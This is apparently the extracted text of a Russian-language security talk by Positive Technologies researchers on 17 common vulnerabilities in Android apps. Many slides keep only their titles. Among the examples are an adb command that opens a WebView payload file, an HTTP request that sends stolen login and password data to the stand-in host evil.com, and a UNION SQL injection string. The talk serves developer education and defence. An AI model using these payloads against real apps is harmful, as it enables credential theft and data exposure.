Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
Заголовок
ptsecurity.com
Уязвимое Android-
приложение:
N проверенных способов
наступить на грабли
Специалисты отдела
исследований безопасности
мобильных приложений
Positive Technologies
Анисеня Николай, Тошин Сергей
N = 17;
Заголовок
ptsecurity.com
Уязвимое Android-
приложение:
17 проверенных способов
наступить на грабли
Специалисты отдела
исследований безопасности
мобильных приложений
Positive Technologies
Анисеня Николай, Тошин Сергей
Заголовок
АНИСЕНЯ НИКОЛАЙ
• специалист отдела исследований
безопасности мобильных приложений
Positive Technologies;
• аспирант Томского Государственного
Университета;
• участник CTF-комады SiBears.
whoami
ТОШИН СЕРГЕЙ
• специалист отдела исследований
безопасности мобильных приложений
Positive Technologies;
• разработчик анализатора исходных кодов
Android-приложений;
• участник программ bugbounty.
ЗаголовокМодели нарушителя
Удаленный нарушитель
• На сервере
• На другом клиенте
• В канале связи
Локальный нарушитель
• Трояны
• Приложения с закладками
Нарушитель с физическим доступом к
устройству
• Кража или утеря
• Кратковременный доступ
ЗаголовокВерсии Android на устройствах пользователей
Ice Cream Sandwich 15
2%
Jelly Bean 16
8%
Jelly Bean 17
11%
Jelly Bean 18
3%
KitKat 19
34%
Lollipop 21
17%
Lollipop 22
20%
Marshmallow 23
5%
% от общего числа устройств на Android
ЗаголовокПроверенные способы
ЗаголовокСпособ 1: хранение логинов и паролей в открытом виде
/data/data/<app_name>/shared_prefs/AppName.xml
ЗаголовокСпособ 2: ключи шифрования в коде
ЗаголовокСпособ 2: ключи шифрования в коде
ЗаголовокСпособ 3: ключ из короткого пин-кода
ЗаголовокСпособ 3: ключ из короткого пин-кода
ЗаголовокСпособ 3: ключ из короткого пин-кода
ЗаголовокСпособ 4: http-запросы открытым текстом
ЗаголовокСпособ 5: отключенная проверка сертификатов
ЗаголовокСпособ 6: некорректный Certificate Pinning или его отсутствие
Pinning in HttpClient
No pinning in WebView
ЗаголовокСпособ 6: некорректный Certificate Pinning или его отсутствие
ЗаголовокСпособ 7: отравление кэша WebView
ЗаголовокСпособ 8: доступ к файловой системе через WebView
ЗаголовокСпособ 8: доступ к файловой системе через WebView
$ adb shell am start -d
"file:///sdcard/payload.html"
nanisenya.
app_android/.MainActivity
ЗаголовокСпособ 8: доступ к файловой системе через WebView
/sdcard/payload.html
ЗаголовокСпособ 8: доступ к файловой системе через WebView
GET /%3C?xml%20version='1.0'%20encoding='utf-
8'%20standalone='yes'%20?%3E%0A%3Cmap%3E%0A%3C
string%20name=%22LOGIN%22%3Ealice%3C/string%3E
%0A%3Cstring%20name=%22PASSWORD%22%3Eqwerty123
%3C/string%3E%0A%3C/map%3E%0A HTTP/1.1
Host: evil.com
Origin: file://
X-Requested-With: nanisenya.app_android
...
Connection: close
ЗаголовокСпособ 9: Client-side SQL-injection
String query =
"SELECT * FROM messages WHERE msg LIKE '%" + q + "%'";
Cursor c = MainActivity.this.db.rawQuery(query);
sqlite> .tables
android_metadata
messages
private_messages
ЗаголовокСпособ 9: Client-side SQL-injection
SELECT * FROM messages WHERE msg LIKE ' UNION SELECT *
from private_messages -- %'";
q = "' UNION SELECT * from
private_messages -- "
ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable
AndroidManifest.xml
ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable
$ adb backup -all
android:allowBackup=“true”
ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable
android:debuggable=“true”
ЗаголовокСпособ 11: экспортированные компоненты
adb shell am broadcast
–d com.example.myapplication/.MyReceiver
ЗаголовокСпособ 11: экспортированные компоненты
android:exported=“false”
ЗаголовокСпособ 12: отправка широковещательных сообщений
ЗаголовокСпособ 12: отправка широковещательных сообщений
Register receiver
Send broadcast intent
ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
ЗаголовокСпособ 14: отсутствие фильтрации во входящем intent
ЗаголовокСпособ 15: вложенные intent
Dispatcher
Activity
exported=
“true”
Settings
Activity
exported=
“false”
Payment
Activity
exported=
“false”
Internal
Activity
exported=
“false”
Входящий Intent Перенаправленный Intent
ЗаголовокСпособ 15: вложенные intent
ЗаголовокСпособ 16: произвольные объекты в intent
public void onCreate(Bundle arg3) {
super.onCreate(arg3);
this.setContentView(this.o_());
this.b(true);
this.setTitle(null);
this.o();
this.p();
this.b = this.getIntent()
.getParcelableExtra("PAGE_INFO");
if(arg3 == null && this.b != null) {
this.a(this.b);
}
}
ЗаголовокСпособ 16: произвольные объекты в intent
public static final class PageInfo
implements Parcelable {
public String startPageUrl;
public byte[] startPagePostData;
public String cookies;
public String successUri;
public String failUri;
…
}
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection
Уязвимость сохраняется, если
- Android < KitKat
- TargetSDK < KitKat (import android.support.v4.app.Fragment;)
- Используются сторонние библиотеки (например, для корректной работы
интерфейса на разных версиях Android), переопределяющие поведение
фрагментов
Защита
- TargetSDK >= KitKat
- Использовать isValidFragment
Заголовок
ptsecurity.com
Спасибо!
Спасибо!

More Related Content

Уязвимое Android-приложение: N проверенных способов наступить на грабли